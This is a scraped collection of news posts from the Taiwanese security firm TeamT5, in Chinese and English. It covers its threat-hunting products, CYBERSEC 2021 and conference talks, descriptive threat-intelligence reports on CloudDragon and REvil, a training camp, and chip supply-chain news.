「大部份資安產品從預防角度出發，但仍抵擋不住攻擊者，企業依然持續遭受入侵威脅。」蔡松廷解釋：「ThreatSonar 以 TeamT5 杜浦數位安全團隊長期研究的威脅情資為核心進行研發，內建超過 100 種惡意行為指標與上千種已知後門特徵，協助企業掌握攻擊者在受駭階段中的入侵軌跡。」

 

## 掌握威脅情資 ThreatVision 不容錯過

TeamT5 杜浦數位安全提供 APT 防禦方案之外，也提供 ThreatVision 雙向平台，ThreatVision 是介面直觀、易操作的強大情資資料庫，協助企業洞悉駭客活動，提升企業威脅防禦能量，讓企業可藉此獲取情資專家針對特殊個案的獨特分析報告。ThreatVision 平台提供沙箱動態分析、關鍵字搜尋、APT 威脅情資庫、自動化 API 等服務，還有專業人員線上諮詢回應威脅情資問題，提供威脅情資與樣本關鍵字搜尋，以滿足企業威脅風險調查需求。

蔡松廷表示，ThreatVision 是我們聚焦亞太地區的全球駭客追蹤調查，長期追蹤各類型產業為目標的 APT 駭客族群的成果，能提供豐富的開源威脅情資分析服務，協助企業降低威脅風險，同時平台可辨認與追蹤超過 100 個攻擊族群與上千個惡意程式家族，因此是企業掌握最新情資的最佳管道。

【CIO Taiwan】TeamT5 杜浦數位安全 雙管齊下助企業抵禦威脅

*Image courtesy of [Pixabay](https://pixabay.com/illustrations/north-korea-dprk-korea-juche-asia-1151137/)

The North Korean APT group CloudDragon, also known as Kimsuky, continues to target South Korean governments and organizations. TeamT5 has been actively monitoring this threat actor and we recently discovered CloudDragon abusing VPN zero-day vulnerability to launch a new attack against South Korean entities.

TeamT5 recently discovered two malicious samples circulating in South Korea, and both samples are installers of a newly identified backdoor which we named MemzipRAT. With further investigation, we believe this attack was aiming at a South Korean company in the aerospace sector. The company is part of a top 10 conglomerate in South Korea, whose business includes aerospace, chemicals, financial services, IT, etc. 

In fact, CloudDragon has been accused of using VPN vulnerabilities to attack numerous entities recently, including Korean government agencies. According to TeamT5’s threat intelligence, we hold high confidence that the above malware to be follow-up attacks of the disclosed attack campaign conducted by CloudDragon. As the exploitation starts from a popular VPN system, these campaigns might lead to massive attacks and damage in the near future. And TeamT5 will keep taking careful attention to CloudDragon's recent campaign for it might end up a severe supply chain attack.

Another CloudDragon attack abusing VPN zero-day vulnerability to target South Korean entities

圖片來源：[Pixabay](https://pixabay.com/illustrations/north-korea-dprk-korea-juche-asia-1151137/)

北韓 APT 攻擊族群 CloudDragon（又名為 Kimsuky）持續針對南韓政府與組織發動攻擊。 TeamT5 長期持續關注此駭客族群，發現 CloudDragon 近期利用 VPN 零時差漏洞（zero-day vulnerability）對南韓發動另一波新的攻擊。

根據 TeamT5 近期研究，我們發現了兩個攻擊南韓的惡意程式樣本，與我們最新發現的後門程式 MemzipRAT 有高度關聯，皆為其安裝程式。我們推測這一波攻擊是針對南韓某航太產業公司而來，該受駭公司為南韓前十大企業之一，業務範圍涵蓋航太、化學、金融、IT 服務等。攻擊者利用一尚未揭露的 VPN 伺服器漏洞，駭進目標環境並部署惡意程式。

最近多起針對韓國的攻擊，包括南韓政府研究單位受駭，也疑似為 CloudDragon 透過 VPN 服務漏洞展開的入侵行動。根據 TeamT5 掌握的相關情資，我們有高度信心認為，這次攻擊使用的新後門程式為 CloudDragon VPN 攻擊的後續利用。我們推測，攻擊者將持續利用此知名 VPN 系統漏洞，發動更大型、損害更嚴重的攻擊，未來也不排除轉變為供應鏈攻擊的可能。

北韓駭客組織再次利用 VPN 零時差漏洞對南韓航太產業發動攻擊

文／羅正漢

關於 REvil 勒索軟體與其背後組織的來歷與特性，資安業者 TeamT5 近期統整多方面曝光資訊，讓國內對於此攻擊族群可以有更深入的瞭解。該組織採 RaaS 模式經營、最多擁有 80 個合作夥伴，且整體族群手法多元。

[點此閱讀完整報導](https://www.ithome.com.tw/news/144900)

【臺灣資安大會直擊】近期臺灣大型企業接連傳出遭 REvil 攻擊，TeamT5 徹底剖析

文／羅正漢

為了增進大眾對於 APT 攻擊族群的認識，長期進行駭客追蹤研究的 TeamT5 杜浦數位安全，藉由藝術博物館（MOMA）作品介紹的形式，讓參觀者能夠感到興趣，並簡單認識這些 APT 族群的特性。

[點此閱讀完整報導](https://www.ithome.com.tw/news/144717?fbclid=IwAR3EmZoOA_HlreIov_84clZasdSfEH7HqPTZldHK39raXBd6pwgkmYsnw4U)

【臺灣資安大會直擊】TeamT5 出奇招，將抽象的 APT 駭客組織化身展覽作品

一年一度的 CYBERSEC 2021 臺灣資安大會於 5 月 4 日至 6 日在南港展覽二館圓滿落幕，TeamT5 杜浦數位安全（以下簡稱 TeamT5）今年以三大重點參展：「最佳夥伴」、「對抗勒索」、「情資決勝」，在網路攻擊不斷轉型、進化的今日，TeamT5 將成為您最可靠的盟友，共同對抗網路威脅。

![AX1_9828.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621322561/AX_1_9828_23b4ad3bf5.jpg)
_TeamT5 杜浦數位安全提供對抗勒索攻擊的最佳解方，以及研究量能最豐富的威脅情資，幫助企業對抗網路威脅_

 

面對近年來國際間頻繁發生的加密勒索資安事件，攻擊手法與目標對象逐漸轉型，使得勒索攻擊成為當前企業最擔憂的網路威脅。TeamT5 長年研究、追蹤進階持續性攻擊（Advanced Persistent Threat, APT），在本次資安大會上，我們獨家公開全新升級的 ThreatSonar 威脅補網，提出對抗勒索攻擊的防護解方。

![AX0_6835.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621322561/AX_0_6835_790f9537f0.jpg)
_TeamT5 首席架構師 Nanika 向大家介紹 ThreatSonar 全面升級的勒索防堵策略_

 

TeamT5 提出「勒索全面防堵」策略，我們的 ThreatSonar 威脅狩獵解決方案，能夠有效偵測 APT 針對型攻擊，與既有資安解決方案互補而非取代，成為企業在資安攻防的強力守護神。以事件處理的角度來看，勒索軟體與 APT 攻擊事件幾近相同，唯一不同之處在於攻擊者會藉此勒索受害者、獲取贖金，唯有全面性解決，才能讓人員更有效進行處理，在防堵的同時擬定執行策略。

![P_20210506_133205.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621324929/P_20210506_133205_1805110f15.jpg)
_TeamT5 技術長暨首席分析師 Charles 與 IR 專家 Zha0，介紹利用威脅情資掌握攻擊者動向的重要性，以達到超前部署的防護_

 

此外，今年最受矚目的參展亮點還有「TeamT5 MoMA 攻擊族群博物館」，以及 TeamT5 獨家打造的「1337 Operation」搜索實境遊戲。蔡英文總統與各部會長官也親臨攤位參觀，由 TeamT5 執行長蔡松廷（ TT）帶領導覽，介紹我們如何以更貼近、淺顯易懂的方式，將神秘的駭客攻擊族群具象化為藝術品。更特別的是，我們將攻擊族群博物館連結搜索實境遊戲關卡，以逼真的勒索軟體事件調查遊戲情境，讓玩家實際體驗企業受害與追查駭客的過程。

![經濟部工業局提供.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621326181/_e8ae0b779f.jpg)
_執行長蔡松廷向蔡英文總統與各部會長官們導覽「TeamT5 MoMA 攻擊族群博物館」，介紹我們如何透過將抽象的攻擊族群具象化為藝術品的方式，讓大家更深入了解 APT 族群的特性。（圖片來源：[經濟部工業局](https://www.facebook.com/moeaidb/photos/pcb.1996144607216335/1996143887216407)授權使用）_

![IMG_0462.JPG](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621326184/IMG_0462_fb0cf9e235.jpg)
_TeamT5 獨家設計的搜索實境遊戲，只要一支手機，玩家就可以化身探員，實際體驗追查駭客的過程_

 

為期三天的展會中，TeamT5 透過大會多場精彩議程、CyberLAB 技術課程，以及我們精心策劃的攤位主題限定講座，帶給所有前來參展的來賓充實的技術分享與交流。兩場 TeamT5 專家座談「資安海外拓展交流」和「難纏的勒索軟體與對抗經驗」，也邀請多位資安專家與研究人員到場分享相關經驗與知識，獲得許多與會來賓的正向回饋。

![IMG_0336.JPG](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621322565/IMG_0336_5c72d3f9f7.jpg)
![AX0_7203.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621322561/AX_0_7203_f8a4840a25.jpg)
_TeamT5 獨家邀請到多位資安專家，在兩場攤位限定專家座談中，和大家分享資安海外拓展以及勒索軟體的對抗經驗，吸引許多參展來賓參與討論交流_

【臺灣資安大會】TeamT5 對抗勒索，攻擊全面防堵

圖片來源：[Black Hat](https://www.blackhat.com/asia-21/)

全球資安盛會「亞洲黑帽安全大會」（Black Hat Asia, BHASIA）今年以線上方式舉辦，自 2021 年 5 月 4 日至 7 日（新加坡時間 UTC+8），為期四天的精彩議程（Black Hat Briefing）、專業深入培訓（Training），以及最新開源駭客工具的展示（Black Hat Arsenal），由頂尖資訊安全專家們傳授最新、第一手的技術與研究發現。

TeamT5 威脅情資研究員們也登上今年的 BHASIA，發表兩場最新研究，與世界各地的資安研究人員交流最新的資訊安全風險、研究與趨勢。「[Mem2Img: Memory-Resident Malware Detection via Convolution Neural Network](https://www.blackhat.com/asia-21/briefings/schedule/#memimg-memory-resident-malware-detection-via-convolution-neural-network-22262)」由 TeamT5 技術長 Charles 與惡意程式研究員 Aragorn 介紹過去一年間發現的 APT 新攻擊手法，並發表他們基於 Mem2Img 框架的研究如何面對日新月異的惡意程式變種與變形，以及可能面臨的攻擊。

![Mem2Img.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620721192/Mem2_Img_7e094e8568.png)
_TeamT5 研究員發表基於 Mem2Img 框架如何分類記憶體中的惡意程式，並提出該框架可能面臨的攻擊。_

 

另一場演講「[“We Are About to Land”: How CloudDragon Turns a Nightmare Into Reality](https://www.blackhat.com/asia-21/briefings/schedule/index.html#we-are-about-to-land-how-clouddragon-turns-a-nightmare-into-reality-22252)」，則由我們的資深威脅情資分析師 Linda 與惡意程式研究員 DuckLL，獨家揭露 TeamT5 持續追蹤的北韓 APT 攻擊族群 CloudDragon 的攻擊行為與入侵的防禦偵測手法，包括該族群如何分群的介紹，以及三大亮點：加密貨幣產業的供應鏈攻擊（supply chain attack）、跨平台的惡意軟體攻擊、自動化更新的釣魚網頁內容。

![who_is_CloudDragon_1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620719929/who_is_Cloud_Dragon_1_2f78c12676.png)
_TeamT5 威脅情資研究員向大家介紹 CloudDragon 為何分群以及如何分群_

![clouddragon_2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620724347/clouddragon_2_e8856cbe0a.png)
_CloudDragon 利用包括韓國本土與世界性的網路服務提供商進行惡意攻擊_

 

## 關於黑帽

黑帽大會（Black Hat）每年聚集全球資訊安全專家、優秀研究人員於一堂，透過資安研究、開發與最新趨勢交流，鼓勵學術界、世界級研究人員與各領域決策及領導者間的合作、成長。黑帽簡報會（Black Hat Briefing）與培訓（Training）每年也都在美國、歐洲與亞洲舉行，匯集全球資安頂尖人員參與盛會。

【BlackHat Asia】TeamT5 研究員登上亞洲黑帽安全大會

上週美國輸油管系統營運商遭到勒索軟體攻擊，暫停所有管線運作，可能造成燃料短缺而導致油價上漲，引發市場擔憂，而近年層出不窮的勒索攻擊事件，日益嚴重，目標式攻擊手法推陳出新，已非傳統防禦方式所能抵擋，有效的資安防護成為市場迫切之需。

TeamT5 杜浦數位安全（以下簡稱 TeamT5）創辦人兼執行長蔡松廷表示：「面對進階型的威脅，防禦會是比較困難的，資安最難的地方在於要做的事太多了，做對了就會有效，如果做錯方向，對於防護就沒有效果。 TeamT5 由端點切入，提供 MDR（Managed Detection and Response，威脅偵測應變）從雲端偵測異常並通報，比較特別的是，TeamT5 團隊做很多情資研究，透過對攻擊者的了解，可以預測到他的下一步，讓客戶知道什麼防護要先做，做真正對的方向。」

[點此閱讀完整報導](https://ctee.com.tw/industrynews/technology/457958.html?fbclid=IwAR02bz0y_3a5APIwS6PhC5HpJnMTW1YJ-CF8igPda-hxE8r-OAYXHoIQbEQ)

【工商時報】又一重大勒索軟體攻擊 TeamT5：資安防禦做對方向是關鍵

全臺最大的年度資安盛會 CYBERSEC 2021 臺灣資安大會，將在 5 月 4 日至 5 月 6 日於南港展覽二館超規格登場！今年，TeamT5 杜浦數位安全很榮幸擔任大會的鑽石級贊助夥伴，面對無所不在的網路威脅，以及不斷進化、「數位轉型」的勒索軟體攻擊，身為臺灣本土資安廠商，我們將持續為大家洞悉網路威脅，精準防駭。

> 節目單在手，講座不漏聽：完整攤位限定講座節目單[點此下載](https://lihi1.cc/Pi626)。

 

# 企業防駭，交給 TeamT5

![展攤位置圖_改搜索實境.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1619071416/_497fed2229.png)

 

## #L03 主攤位 | TeamT5 杜浦數位安全

無論是面對駭客威脅想找解方、對勒索軟體束手無策，還是有各種資安防護的疑難雜症 ... 別駭怕，快來 **#L03** 攤位找 **TeamT5 杜浦數位安全**！

除了我們獨特的威脅解決方案，現場還有產品 Demo、攤位限定講座、資安小遊戲，以及徵才駐點面談等精彩內容，錯過再等明年！

 
<style>
span.post-cybersec-2021-dot {
justify-content: center;
color: #d83751;
font-family: initial;
width: 1em;
font-size: 22px;
margin-right: 12px;
}
</style>
<h3 id="teamt5-moma">
 •臺灣資安大會首次登場，TeamT5 MoMA
</h3>

他們是誰？來自哪個國家？好奇總是躲在暗處、神秘莫測的駭客攻擊族群究竟長什麼模樣嗎？

誰說資安艱澀又無聊，跟著 TeamT5 的視角，帶您一同探索當代 APT 攻擊族群的神秘世界。

 

*更多關於 TeamT5 MoMA 的展覽訊息，請隨時鎖定 TeamT5 [Facebook 粉絲專頁](https://www.facebook.com/TeamT5.org)。

 


<h3>
 •TeamT5 攤位限定講座
</h3>

L03 主攤位的限定講座，涵蓋四大精彩主題：**加密勒索攻擊防護**、**駭客情資追蹤**、**威脅狩獵指南**、**企業資安防護一次到位**，多元內容、一次滿足！我們也特地邀請到資安產業的專家，與大家分享資安海外拓展的成功經驗，以及對抗勒索軟體的應對之道，大咖雲集，不聽可惜！不只多場專業講座，我們也將在 CYBERSEC 2021 臺灣資安大會獨家公開 TeamT5 威脅狩獵解方 [ThreatSonar](https://teamt5.org/tw/products/threatsonar/) 的全新功能，敬請期待更強大、全面升級的威脅捕網！

![facebook_Post_0504.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1619518646/facebook_Post_0504_188c94772c.png)

![facebook_Post_資安海外拓展交流.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1619751063/facebook_Post_1f01f9d820.jpg)

![facebook_Post_0505.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1619518646/facebook_Post_0505_6ab020f1f5.png)

![圖片5.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1619884408/5_7cfb9d9ff9.jpg)

![facebook_Post_0506.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1619518646/facebook_Post_0506_e691090746.png)

 

每日中午時段還有 **TeamT5 Show 一下**，安排 TeamT5 MoMA 攻擊族群博物館限定導覽、搜索實境遊戲「1337 Operation」關主現身說法，獨家公布破關彩蛋，以及「資安 Show Time」問答賽，歡迎各位前來參觀同樂。

![facebook_Post_0504-0506.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1619518646/facebook_Post_0504_0506_37a651b222.png)
 
 

## #CP01 Playground | 1337 Operation 搜索實境
 
TeamT5 團隊精心設計，融入真實情節的搜索實境駭客版，首次於資安大會 CYBERSEC Playground 亮相！
 
歡迎大家到 **#CP01** 遊戲攤位大展身手，1337 Operation 搜索實境，TeamT5 探員等你來挑戰！
 
*更多資訊請見[臺灣資安大會官網](https://cyber.ithome.com.tw/2021/playground#teamT5)。
 
![1337.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1617477157/1337_6a0024e9ad.png)
 
 

## #CT11 Cyber Talent Connect | 徵才專區

今年臺灣資安大會加碼增設的 Cyber Talent Connect 專區，透過培育計畫、主題講座、職涯互動及企業徵才，協助在學學生與社會新鮮人更了解業界人才需求，以及進入資安領域的職能發展。

TeamT5 杜浦數位安全在 **#CT11** 攤位，歡迎有志進入資安產業的朋友們來參觀了解。也歡迎大家來 Cyber Talent 講座，聽聽我們的企業分享與最新市場徵才趨勢，**#L03 **主攤位亦設有** TeamT5 徵才駐點**，對我們最新職缺有興趣的朋友，記得到主攤位來逛逛喔！

![facebook_Post_Turkey.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618837343/facebook_Post_Turkey_291def5611.png)

 

## TeamT5 大會主題議程

TeamT5 強大講師陣容將再次登上大會主題演講，除了去年好評不斷的 CyberLAB 資安攻防演練工作坊重出江湖，還有今年最受矚目的大會主題論壇「701 漏洞研究室」與「目標式勒索威脅論壇」，我們的「TeamT5 Camp 大師帶你學」系列資安入門課程，也搬上資安大會，帶大家深入淺出探索資安最新技術與趨勢。更別錯過 TeamT5 執行長蔡松廷（TT）的精彩主題演講與 Free Talk 喔！

 

** 1. 【Keynote：跟阿中學勒索軟體防疫之道】**

台灣防疫成功，全世界有目共睹。防禦網路攻擊，其實與防疫有許多微妙的相似之處。這場演講，TeamT5 執行長蔡松廷（TT）會跟大家分享，我們如何從防疫中學習到對抗勒索軟體的策略，以及我們如何實作出有效的解決方案。

![facebook_Post_TT_Keynote.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618837343/facebook_Post_TT_Keynote_a52a0312e1.png)

 

** 2.【貓味，你坐阿！】資安鑑識五連鞭！**

APT 攻擊手法複雜多樣，企業受駭也不知該從何找起入侵來源。TeamT5 工程師 Zet、Tom 和 Jason3e7 將在本場講座，帶大家從資安事件調查的實戰演練，拼湊攻擊事件原貌。

![facebook_Post_Zet+Tom+Jason3e7.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1619077480/facebook_Post_Zet_Tom_Jason3e7_515b316d8c.jpg)

 

** 3.【701 漏洞研究室】**

白衣渡江，貓味不講武德？這題目有看沒有懂？TeamT5 最幽默的講師群，我們的資安工程師 Tom、Jason3e7 和 Peter，將為大家帶來一場詼諧又知識量爆棚的精彩講座！

![facebook_Post__Tom+Jason3e7+Peter.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1617263321/facebook_Post_Tom_Jason3e7_Peter_37d9599950.jpg)

 

** 4.【大大們的 Free Talk】**

來聽聽 TeamT5 執行長 TT 大大，分享（碎念）本人的資安產業經驗，一起聊聊台灣資安廠商的美麗與哀愁。

![facebook_Post_TT_FreeTalk.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1619751063/facebook_Post_TT_Free_Talk_956eae9ab2.jpg)

 

** 5.【TeamT5 Camp 大師帶你學】**

TeamT5 Camp 的講師群也在資安大會開課囉！整整一天、三堂滿滿的資安入門課程，聽一天課抵十年，名額有限，記得把握機會到現場報名。

![facebook_Post_Kenny.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618837342/facebook_Post_Kenny_f343a32e2e.png)
![facebook_Post_Still.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618837343/facebook_Post_Still_a8b296d6f9.png)
![facebook_Post_zha.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618837343/facebook_Post_zha_dd9d531244.png)

 

** 6.【一言不合就公開！REvil 勒索不講武德】**

大會主打主題論壇之一，讓 TeamT5 執行長 TT 為大家揭秘「2020 年度勒索界首富」- REvil。

![facebook_Post_TT_一言不合就公開！ REvil 勒索不講武德.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1619751242/facebook_Post_TT_R_Evil_78dd109ab5.png)

 

> 更多大會議程資訊 & 展攤活動即將公開，敬請隨時鎖定 TeamT5 [Facebook 粉絲專頁](https://www.facebook.com/TeamT5.org)。

【CYBERSEC 2021 台灣資安大會】企業防駭，交給 TeamT5

*Image courtesy of [JSAC2021](https://jsac.jpcert.or.jp/index.html)

Hold online for the first time due to the COVID-19 pandemic, on January 28, Japan Security Analyst Conference 2021 (JSAC2021), the annual cyber security conference hosted by JPCERT/CC, aimed to bring together security analysts and provide opportunities for them to share technical knowledge related to incident response and analysis.

TeamT5's CTO Charles Li and other Japanese researchers from ITOCHU Corporation, Macnica Networks, and Kaspersky, presented a joint speech on topic of [A41APT case - Analysis of the Stealth APT Campaign Threatening Japan](https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_202_niwa-yanagishita_en.pdf). In this session, they introduced the A41APT targeted attack campaign that has been confirmed since March 2019. The attacker's infrastructure and the relevance of this attacker group's attribution to specific APT groups were also discussed.

As one of the 11 presenters out of 22 candidates, our cyber threat analyst Shui Lee and malware researcher Leon Chang spoke on the third track of the conference, unveiling a new Chinese APT group LuoYo, which hasn't yet been grouped by the public.

 

![JSAC_LuoYu.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1613705588/JSAC_Luo_Yu_12e0800310.png)
_Shui and Leon presented their in-depth analysis of ReverseWindow._

According to their speech "[LuoYu, the Eavesdropper Sneaking in Multiple Platforms](https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_301_shui-leon_en.pdf)", LuoYo's activity has been observed since 2014, targeting tech companies, media, educational institutions, and other industries in China, Hong Kong, Japan, South Korea, and Taiwan. This presentation focused on a detailed description on ReverseWindow. For more details, please read the full [JSAC2021 Report](https://blogs.jpcert.or.jp/en/2021/02/jsac2021report1.html) by JPCERT/CC.

 

## About JSAC2021

Cyber attacks occur on a daily basis, and its techniques have been constantly changing. Engineers who analyze and respond to them are required to improve their skills to keep up with the ever-changing techniques of cyber attacks. However, there are few occasions in Japan where techniques and knowledge of incident analysis and response are shared among engineers. Security analysts are expected to get together and exchange their technical expertise on incident handling to develop their strength against cyber attacks both individually and as a whole.

To achieve this goal, JPCERT/CC hosts Japan Security Analyst Conference (JSAC), the annual conference for exchanging technical information on cyber security incident analysis and response. In this conference, security analysts who handle security incidents on a daily basis are encouraged to share information with each other to deal with ever-evolving cyber attacks today and in the future.

More information on [JSAC2021](https://jsac.jpcert.or.jp/en/index.html) event website.

Japan Security Analyst Conference 2021

The Chinese government has expanded its information warfare to the highest level in the past. It has been confirmed that even the Chinese government-supported Advanced Persistent Threat (APT) hacking organization has been mobilized to manipulate public opinion such as disseminating fake news. APT organizations have gone beyond intelligence warfare. This is the first time that it has been confirmed that they have participated in public opinion.

According to a report released by Taiwanese threat intelligence company TeamT5 at the recent SANS Summit, false accounts opened on social network service (SNS) platforms such as Facebook, Google (YouTube), and Twitter have been investigated at an all-time high.

TeamT5 made this statement based on the number of closed accounts published on each SNS platform. Google said it had removed 186 YouTube channels that are estimated to be involved in the Chinese information war in the second quarter of last year.

The Chinese government is known to hold a pro-Chinese content and dissemination of false facts, which are known to be engaged in a defensive public opinion battle that includes state-run media and spam botnets while creating false accounts to create favorable public opinion. The number of Facebook pages used by The New York Times, CNN, and BBC pages exceeded the number of followers two years ago. As of April 2019, the number of followers on CGTN's Facebook page, the Chinese state media, was 75 million, while The New York Times, CNN, and BBC had 50 million each. 

It wasn't even crazy. Targeting Taiwan, which the Chinese government observes, the APT hacking organization used "Juiker" to spread false information, which is a popular SNS platform used in Taiwan like KakaoTalk.

TeamT5 said, "The APT Group is an organization that focuses on espionage and information stealing, and the fact that they are mobilized in information warfare means that the Chinese government is putting all efforts into information warfare," and "It is urgent," TeamT5 CTI analyst Che Chang warned.

The Chinese government turned out to build a system tool that monitors public opinion using Big Data and Artificial Intelligence (AI) technology, a system that can monitor not only domestic social media but also sensitive websites distributed abroad.

TeamT5 is a security company founded by APT experts. It tracks and monitors versions between the Chinese government and supplies threat intelligence to Asia-Pacific regions such as Taiwan and Japan.

[Read more](https://www.etnews.com/20210215000176)

【Korea ETNews】China, Information Warfare... Mobilizing Public Opinion Manipulation And APT Group

2021 年寒假，知識含金量爆棚的「TeamT5 Security Camp 資安培訓營」首次登場！從 1 月 19 日至 2 月 3日，三週共五天的精彩課程，由專精於不同領域的資安研究員，透過一系列多元培訓課程與實作挑戰，帶大家一同體驗實際工作日常。

「資安」已成為當今最熱門職缺之一，但許多對資訊安全領域有興趣、有志從事資安工作的同學們，面對玲瑯滿目的資安職缺，卻不知道該如何選擇。TeamT5 作為台灣少數的純資安公司，專精於駭客威脅研究，提供專業的資安顧問服務與漏洞研究，希望透過資安培訓營，提供來自業界的實戰經驗與資源，幫助同學快速探索資安領域的無限可能。

![碼名字.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612769514/_6440531a04.jpg)
_TeamT5 Security Camp 資安培訓營於今年寒假火熱登場_

本次「TeamT5 Security Camp 資安培訓營」有四大吸睛課程，包括惡意程式分析、資安事件處理、逆向工程研究，以及產品安全檢測。營隊第一天就直接帶大家進入重點課程，由我們的惡意程式分析師 DuckLL 和 Still，手把手傾囊相授，實際帶著學員分析各樣程式，一起挖掘威脅情資的奧秘。

![210119-1.1.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612430049/210119_1_1_f3969227f4.jpg)
_第一天上課就和惡意程式作者鬥智鬥力，掌握程式執行流程、封包分析、常駐方法與後門功能解析，體驗一日威脅分析師的工作日常_

第二週課程雖然因為防疫考量，暫時改為線上開課，無法讓學員在課堂實際分組討論、操作，但我們熱情幽默的「資安大會最受歡迎講師」Tom 和 Jason3e7 上課絕不冷場，深入淺出傳授大家資安事件處理的正確觀念與心法。

最後一週由核心技術團隊帶來壓軸精彩課程，「Game Master Hand By Hand」由擔任多年台灣好厲駭導師的 Kenny 開課，透過有趣的復古小遊戲外掛實作，一步步帶學員認識系統底層知識與駭客記憶體攻擊手法。

![210203-1.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612429565/210203_1_1378adcaac.jpg)
_講師 Kenny 帶大家實作軟體修改，寫好玩的遊戲外掛，循序漸進學習系統底層知識_

「產品安全檢測：IOT裝置漏洞安全研究」則由我們的 HITCON 講師群 CP、Zet 和 freetsubasa 再次上陣，介紹產品漏洞安全研究，以黑白箱測試實作教學，教學員從 Nday 學習攻擊技術、了解防禦方法。

![210203-3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612429564/210203_3_09489f9a82.png)
_我們在 HITCON 2020 的講師大大們，教大家從多種面向著手 IOT 設備安全研究，分析設備的進入方式、常見的工具及攻擊技巧_

營隊最後，輔仁大學許見章教授也代表「教育部資訊安全人才培育計畫」蒞臨分享會，觀摩身懷絕技的學員們，展現各自的拿手絕活與研究新發現。除了實際體驗資安研究員的工作日常，學員們也在資安培訓營中，找到志趣相投的好夥伴。

![210203-4.3.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612430169/210203_4_3_3933a20b1a.jpg)
![210203-5.3.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612430169/210203_5_3_38f7b1ec70.jpg)
_學員們上台分享、交流自己的拿手絕活和研究新發現_

![_DSC0519.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612764411/DSC_0519_25d7c0fab4.jpg)
_TeamT5 執行長蔡松廷與「教育部資訊安全人才培育計畫」許見章教授合影_

TeamT5 Security Camp 資安培訓營 寒假火熱登場

圖片來源：[Unsplash](https://unsplash.com/photos/nIEHqGSymRU?utm_source=unsplash&utm_medium=referral&utm_content=creditShareLink)

近來傳出全球半導體爆發缺貨潮，美國、德國、日本汽車大廠各自透過關係，希望台灣政府協助採購台積電晶片。《彭博社》26 日以「[全球危險地依賴台灣半導體](https://www.bloomberg.com/news/features/2021-01-25/the-world-is-dangerously-dependent-on-taiwan-for-semiconductors)」為題解析此現象，指出這不僅凸顯台積電在全球供應鏈的重要性及位階，也意味著各國政府領導人非常需要台灣維持民主、不被中國進犯，否則地緣政治紛擾將成為晶片供應瓶頸。

柏林智庫「新責任基金會」（Stiftung Neue Verantwortung）科技與地緣政治專案主任克萊恩漢斯（Jan-Peter Kleinhans）表示，台灣主宰了美國委外晶片製造市場，因此是整個半導體價值產業鏈最重要的潛在關鍵，一旦台灣失效，就會讓整個產業鏈無法運作。

#### 台灣的晶片技術，能抵禦中國進犯？

為應對中國的晶片短缺危機，中國國家主席習近平去年 10 月公布，計畫在 2025 年以前砸下 1.4 兆美元（約新台幣 39 兆元）發展國內半導體產業。然而即使這麼做，也不能完全消除中國對台灣的晶片需求。中國長期不斷挖腳製造晶片的高科技人才，曾是台積電主要高層的梁孟松、蔣尚義，如今是中國中芯國際的共同執行長和副董事長。

有鑑於美國阻礙中國發展晶片，有人猜測北京可能會竊取台灣的晶片智慧財產權技術。台灣網絡安全公司杜浦數位安全（TeamT5）觀察到，美中技術冷戰期間，台灣晶片產業受到的網路攻擊也跟著增加，但無法辨認攻擊是否都由中國當局主使，只能確定這些駭客攻擊的受害者全都是台灣半導體公司。

[點此閱讀完整報導](https://www.storm.mg/article/3426084?mode=whole)

【風傳媒】晶片大缺貨，美德日向台灣求援　彭博社：全球對台依賴達到「危險」地步

*Image courtesy of [Unsplash](https://unsplash.com/photos/nIEHqGSymRU?utm_source=unsplash&utm_medium=referral&utm_content=creditShareLink)

#### A shortage of auto chips has exposed TSMC’s key role in the supply chain

As China pushes the world to avoid official dealings with Taiwan, leaders across the globe are realizing just how dependent they’ve become on the island democracy.

Taiwan, which China regards as a province, is being courted for its capacity to make leading-edge computer chips. That’s mostly down to Taiwan Semiconductor Manufacturing Co., the world’s largest foundry and go-to producer of chips for Apple Inc. smartphones, artificial intelligence and high-performance computing.

#### Chip Industry Choke Points
The industry’s biggest companies are siloed in just a few countries.


“TSMC is becoming more and more dominant,” said Kazumi Nishikawa, an official working on technology issues at Japan’s Economy Ministry. “This is something everybody in the chip industry must find a way to deal with.”

China, in its five-year plan presented in October, is channeling help to the chip industry and other key technologies to the tune of $1.4 trillion through 2025. Yet even that kind of money doesn’t negate the need for Taiwan. Indeed, China has long tapped the island for chip-making talent; two key executives at China’s top chipmaker, Semiconductor Manufacturing International Corp., used to work at TSMC: co-Chief Executive Officer Liang Mong Song and Vice Chairman Chiang Shang-yi.

